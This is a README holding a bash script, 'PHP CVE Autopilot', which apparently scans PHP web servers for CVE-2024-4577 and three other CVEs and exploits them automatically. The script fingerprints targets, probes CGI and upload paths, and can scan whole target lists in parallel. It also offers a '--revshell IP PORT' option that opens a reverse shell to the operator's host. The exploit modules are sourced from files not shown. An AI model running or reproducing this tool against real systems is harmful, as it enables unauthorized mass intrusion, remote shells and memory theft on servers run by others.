README.md
Rendering markdown...
#!/usr/bin/env bash
# PHP CVE Autopilot – modular, per‑CVE exploitation prompts
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
MODULES_DIR="$SCRIPT_DIR/modules"
REPORT_DIR="$SCRIPT_DIR/reports"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
REPORT_FILE="$REPORT_DIR/php_cve_scan_${TIMESTAMP}.txt"
# Defaults
VERBOSE=0
NO_COLOR=0
TIMEOUT=10
REVERSE_IP=""
REVERSE_PORT=""
TARGET_URL=""
LIST_FILE=""
SCAN_ONLY=0
OUTPUT_FILE=""
THREADS=5
# Load utils
source "$MODULES_DIR/utils.sh"
# Load modules
source "$MODULES_DIR/cve_2024_4577.sh"
source "$MODULES_DIR/cve_2025_14177.sh"
source "$MODULES_DIR/cve_2025_14180.sh"
source "$MODULES_DIR/cve_2025_14178.sh"
# ----------------------------------------------------------------------
# Detection phase – collects vulnerable endpoints
# ----------------------------------------------------------------------
declare -A VULN_DETECTED
declare -A VULN_DATA
detect_all() {
local base_url="$1"
VULN_DETECTED=()
VULN_DATA=()
log_info "Detecting CVEs on $base_url"
# Fingerprinting
local os php_ver
os=$(detect_os "$base_url")
php_ver=$(detect_php_version "$base_url")
log_info "OS: $os"
log_info "PHP version: $php_ver"
# CVE-2024-4577 (Windows CGI)
if [[ "$os" == "windows" ]]; then
local cgi_list
cgi_list=$(find_cgi_endpoints "$base_url")
while read -r cgi; do
if [[ -n "$cgi" ]]; then
local vuln_url
if vuln_url=$(detect_cve_2024_4577 "$cgi" "$os"); then
log_success "CVE-2024-4577 detected at $vuln_url"
VULN_DETECTED["CVE-2024-4577"]=1
VULN_DATA["CVE-2024-4577"]="$vuln_url"
break
fi
fi
done <<< "$cgi_list"
fi
# CVE-2025-14177 (heap leak)
local upload_list
upload_list=$(find_upload_endpoints "$base_url")
while read -r up; do
if [[ -n "$up" ]]; then
if detect_cve_2025_14177 "$up"; then
log_success "CVE-2025-14177 detected at $up"
VULN_DETECTED["CVE-2025-14177"]=1
VULN_DATA["CVE-2025-14177"]="$up"
break
fi
fi
done <<< "$upload_list"
# Local tests (if we have PHP CLI and/or RCE later)
if command -v php &>/dev/null; then
if [[ $(detect_cve_2025_14180) == "VULN" ]]; then
log_success "CVE-2025-14180 detected locally"
VULN_DETECTED["CVE-2025-14180"]=1
fi
if [[ $(detect_cve_2025_14178) == "VULN" ]]; then
log_success "CVE-2025-14178 detected locally"
VULN_DETECTED["CVE-2025-14178"]=1
fi
fi
}
# ----------------------------------------------------------------------
# Exploitation per CVE (autopilot)
# ----------------------------------------------------------------------
exploit_per_cve() {
local base_url="$1"
for cve in "${!VULN_DETECTED[@]}"; do
echo
log_warn "Exploiting $cve automatically"
case "$cve" in
"CVE-2024-4577")
local url="${VULN_DATA[$cve]}"
exploit_cve_2024_4577 "$url" "$REVERSE_IP" "$REVERSE_PORT"
;;
"CVE-2025-14177")
local upload_url="${VULN_DATA[$cve]}"
exploit_cve_2025_14177 "$upload_url" "$REPORT_DIR/heap_leaks_$TIMESTAMP"
;;
"CVE-2025-14180")
# If we have a CGI endpoint, use it; else local
local target="${VULN_DATA["CVE-2024-4577"]:-}"
if [[ -z "$target" ]]; then
target="$base_url"
fi
exploit_cve_2025_14180 "$target"
;;
"CVE-2025-14178")
local target="${VULN_DATA["CVE-2024-4577"]:-}"
if [[ -z "$target" ]]; then
target="$base_url"
fi
exploit_cve_2025_14178 "$target"
;;
esac
done
}
# ----------------------------------------------------------------------
# Helper discovery functions (copy from previous script)
# ----------------------------------------------------------------------
detect_os() {
local url="$1"
local headers
headers=$(curl -s -I --max-time "$TIMEOUT" -A "${USER_AGENT:-Mozilla/5.0}" "$url" 2>/dev/null)
if echo "$headers" | grep -qi "windows\|win32\|iis"; then
echo "windows"
elif echo "$headers" | grep -qi "linux\|ubuntu\|debian\|centos"; then
echo "linux"
else
echo "unknown"
fi
}
detect_php_version() {
local url="$1"
local headers
headers=$(curl -s -I --max-time "$TIMEOUT" -A "${USER_AGENT:-Mozilla/5.0}" "$url" 2>/dev/null)
local php_ver
php_ver=$(echo "$headers" | grep -i "x-powered-by" | grep -oP 'PHP/[\d.]+' | head -1)
if [[ -z "$php_ver" ]]; then
# Try probing with a PHP file
local probe_url="${url}phpinfo.php"
local resp
resp=$(http_get "$probe_url")
php_ver=$(echo "$resp" | grep -oP 'PHP Version [\d.]+' | head -1)
fi
echo "${php_ver:-unknown}"
}
find_cgi_endpoints() {
local base="$1"
local paths=(
"/cgi-bin/php" "/cgi-bin/php5" "/cgi-bin/php7" "/cgi-bin/php-cgi"
"/php-cgi/php-cgi.exe" "/php-cgi/php.exe" "/cgi-bin/php.exe"
"/cgi/php" "/cgi/php-cgi" "/cgi-bin/php.inc"
)
for p in "${paths[@]}"; do
echo "${base}${p}"
done
# Add crawled CGI-like links
local crawled
crawled=$(crawl_links "$base")
echo "$crawled" | grep -i cgi
}
find_upload_endpoints() {
local base="$1"
local paths=("/upload" "/uploads" "/upload.php" "/fileupload" "/imageupload" "/api/upload" "/admin/upload")
for p in "${paths[@]}"; do
echo "${base}${p}"
done
# Add crawled upload forms
local crawled
crawled=$(crawl_links "$base")
echo "$crawled" | grep -i upload
}
crawl_links() {
local url="$1"
local html
html=$(http_get "$url")
# Extract href and action attributes
echo "$html" | grep -oP '(?<=href=")[^"]*' | grep '^/' | sed "s|^|$url|" | sed 's|//|/|g'
echo "$html" | grep -oP '(?<=action=")[^"]*' | grep '^/' | sed "s|^|$url|" | sed 's|//|/|g'
}
main() {
while [[ $# -gt 0 ]]; do
case "$1" in
-u|--url) TARGET_URL="$2"; shift 2 ;;
-l|--list) LIST_FILE="$2"; shift 2 ;;
--scan-only) SCAN_ONLY=1; shift ;;
-o|--output) OUTPUT_FILE="$2"; shift 2 ;;
--threads) THREADS="$2"; shift 2 ;;
--timeout) TIMEOUT="$2"; shift 2 ;;
--revshell) REVERSE_IP="$2"; REVERSE_PORT="$3"; shift 3 ;;
--verbose) VERBOSE=1; shift ;;
--debug) VERBOSE=2; shift ;;
--no-color) NO_COLOR=1; shift ;;
-h|--help) show_help; exit 0 ;;
*) echo "Unknown option: $1"; show_help; exit 1 ;;
esac
done
if [[ -n "$LIST_FILE" ]]; then
if command -v parallel &>/dev/null; then
log_info "Using parallel for batch scanning with $THREADS threads"
parallel -j "$THREADS" --no-notice "$0 -u {} --timeout $TIMEOUT $( [[ $SCAN_ONLY -eq 1 ]] && echo '--scan-only' ) $( [[ -n "$OUTPUT_FILE" ]] && echo "-o $OUTPUT_FILE" ) $( [[ -n "$REVERSE_IP" ]] && echo "--revshell $REVERSE_IP $REVERSE_PORT" ) $( [[ $VERBOSE -ge 1 ]] && echo '--verbose' ) $( [[ $VERBOSE -ge 2 ]] && echo '--debug' ) $( [[ $NO_COLOR -eq 1 ]] && echo '--no-color' )" :::: "$LIST_FILE"
else
log_warn "GNU parallel not found, processing sequentially"
while IFS= read -r url; do
[[ -z "$url" ]] && continue
log_info "Processing $url"
process_single_url "$url"
done < "$LIST_FILE"
fi
elif [[ -n "$TARGET_URL" ]]; then
process_single_url "$TARGET_URL"
else
show_help
exit 1
fi
}
process_single_url() {
local url="$1"
mkdir -p "$REPORT_DIR"
local base_url
base_url=$(normalize_url "$url")
echo "Starting PHP CVE Autopilot against $base_url" | tee -a "${OUTPUT_FILE:-/dev/null}"
detect_all "$base_url" | tee -a "${OUTPUT_FILE:-/dev/null}"
if [[ ${#VULN_DETECTED[@]} -eq 0 ]]; then
log_warn "No vulnerabilities found." | tee -a "${OUTPUT_FILE:-/dev/null}"
else
if [[ $SCAN_ONLY -eq 0 ]]; then
exploit_per_cve "$base_url" | tee -a "${OUTPUT_FILE:-/dev/null}"
else
log_info "Scan-only mode: skipping exploitation"
fi
fi
log_ok "Full report saved to ${OUTPUT_FILE:-$REPORT_FILE}"
}
show_help() {
cat << EOF
PHP CVE Autopilot – Automated PHP vulnerability scanner and exploiter
USAGE:
$0 -u <URL> [OPTIONS]
$0 -l <FILE> [OPTIONS]
OPTIONS:
-u, --url URL Single target URL (e.g., http://example.com/)
-l, --list FILE File with URLs, one per line
--scan-only Detect only, do not exploit
-o, --output FILE Write report to FILE
--threads N Parallel threads for batch (default: 5)
--timeout N HTTP timeout in seconds (default: 10)
--revshell IP PORT Attempt reverse shell for CVE-2024-4577
--verbose Show detailed progress
--debug Show HTTP requests (noisy)
--no-color Disable colored output
-h, --help Show this help
EXAMPLES:
$0 -u http://target.com/
$0 -u http://target.com/ --revshell 192.168.1.100 4444
$0 -l targets.txt --threads 10 --scan-only
EOF
}
main "$@"